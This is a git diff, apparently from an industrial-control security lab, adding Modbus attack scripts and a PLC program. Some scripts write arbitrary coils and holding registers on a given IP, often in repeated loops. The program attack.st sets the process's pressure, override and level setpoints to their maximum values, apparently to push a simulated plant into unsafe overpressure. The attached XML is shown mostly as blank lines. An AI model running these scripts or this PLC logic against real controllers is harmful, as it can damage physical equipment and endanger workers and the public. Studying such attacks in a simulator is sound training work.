1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + 